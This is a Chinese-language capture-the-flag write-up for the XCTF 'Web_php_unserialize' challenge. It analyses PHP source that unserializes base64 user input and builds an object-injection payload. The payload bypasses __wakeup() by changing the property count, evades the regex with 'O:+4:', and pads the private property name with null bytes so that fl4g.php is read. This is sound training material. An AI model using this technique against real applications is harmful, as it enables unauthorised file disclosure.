攻防世界-引导-Web_php_unserialize
题目内容:
出现一段源代码,分段分析
第一部分如下
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}?>
用php定义了一个对象类为 Demo,出现了三个方法:_construct(),_destruct(),_wakeup()
看到_wakeup()想到了序列化和反序列化。想到利用反序列化绕过_wakeup(),最后还有一个提示flag在fl4g.php中
再看后面的部分
第二部分如下
<?php if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }
} else { highlight_file("index.php");
}
?>
这边很明晰那看出使用了一个叫var的参数用来进行get方法,并且传后会进行base64进行解码,
接下去会对你穿的参数进行一个反序列化的判断,这边是等下要绕过的考虑点。所以题目比较明显的点出了需要通过反序列化操作来进行。
操作
通过编译器直接进行序列化操作
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { $this->file = 'index.php'; } }
}$demo = new Demo('fl4g.php');
// 序列化对象
$payload = serialize($demo);
echo "原始序列化字符串: " . $payload . "\n";
// 1. 绕过__wakeup():修改属性数量
$payload = str_replace(':1:', ':2:', $payload);
// 2. 绕过正则检测:在类名长度前添加+号
$payload = str_replace('O:4:', 'O:+4:', $payload);
echo $payload . "\n";?>
这边要注意的是,因为文中提到的成员变量是private类型所以在demo前和后需加入空字符串,
<?php
$err = 'O:+4:"Demo":2:{s:10:"'.chr(0).'Demo'.chr(0).'file";s:8:"fl4g.php";}';$err=base64_encode($err);
echo $err;?>
这边等后面出一个对序列化和反序列化比较详细的博客在讲一讲。